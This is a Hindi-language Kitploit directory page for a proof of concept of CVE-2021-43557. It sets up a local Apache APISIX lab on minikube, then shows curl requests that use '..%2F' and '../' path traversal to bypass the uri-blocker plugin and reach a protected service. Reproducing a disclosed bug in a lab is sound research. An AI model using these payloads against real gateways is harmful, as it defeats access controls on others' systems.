Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
k8s-CVE-2021-43557-poc — CVE-2021-43557 के लिए PoC | Kitploit
उपकरण/GitHubGitHub/xvnpw/k8s-cve-2021-43557-poc
कंटेनर सुरक्षाभेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणक्लाउड सुरक्षाAPI सुरक्षा
GitHubxvnpw/k8s-cve-2021-43557-poc

k8s-CVE-2021-43557-poc

CVE-2021-43557 के लिए PoC

रिपॉजिटरी देखें
223494 साल पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

स्थापना

  • minikube स्थापित करें
  • apisix स्थापित करें:
root@kitploit:~
helm repo add apisix https://charts.apiseven.com
helm repo add bitnami https://charts.bitnami.com/bitnami
helm repo update
kubectl create ns ingress-apisix
helm install apisix apisix/apisix \
  --set gateway.type=NodePort \
  --set ingress-controller.enabled=true \
  --namespace ingress-apisix \
  --version 0.7.2
kubectl get service --namespace ingress-apisix
  • app.yaml को तैनात करें: kubectl apply -f app.yaml
  • routes को तैनात करें: kubectl apply -f routes.yaml

वैकल्पिक, यदि आप ऐप इमेज बदलना चाहते हैं:

  • (वैकल्पिक) डॉकर इमेज बनाएं:
    • cd protected-service; docker build -t protected-service:0.0.1 .
    • cd public-service; docker build -t public-service:0.0.1 .
  • (वैकल्पिक) डॉकर इमेज को minikube में पुश करें:
    • minikube image load protected-service:0.0.1
    • minikube image load public-service:0.0.1

शोषण

मैन्युअली

सार्वजनिक सेवा तक पहुँचने के लिए:

kubectl exec -it -n ${namespace of Apache APISIX} ${Pod name of Apache APISIX} -- curl --path-as-is http://127.0.0.1:9080/public-service/public -H 'Host: app.test'

200 लौटाना चाहिए

संरक्षित सेवा तक पहुँचने के लिए:

kubectl exec -it -n ${namespace of Apache APISIX} ${Pod name of Apache APISIX} -- curl --path-as-is http://127.0.0.1:9080/protected-service/protected -H 'Host: app.test'

403 लौटाना चाहिए

uri-blocker को दरकिनार करते हुए संरक्षित सेवा तक पहुँचने के लिए: kubectl exec -it -n ${namespace of Apache APISIX} ${Pod name of Apache APISIX} -- curl --path-as-is http://127.0.0.1:9080/public-service/..%2Fprotected-service/protected -H 'Host: app.test' uri-blocker को दरकिनार करते हुए संरक्षित सेवा तक पहुँचने के लिए: kubectl exec -it -n ${namespace of Apache APISIX} ${Pod name of Apache APISIX} -- curl --path-as-is http://127.0.0.1:9080/public-service/../protected-service/protected -H 'Host: app.test'

दोनों को 200 लौटाना चाहिए

टूल डाउनलोड करें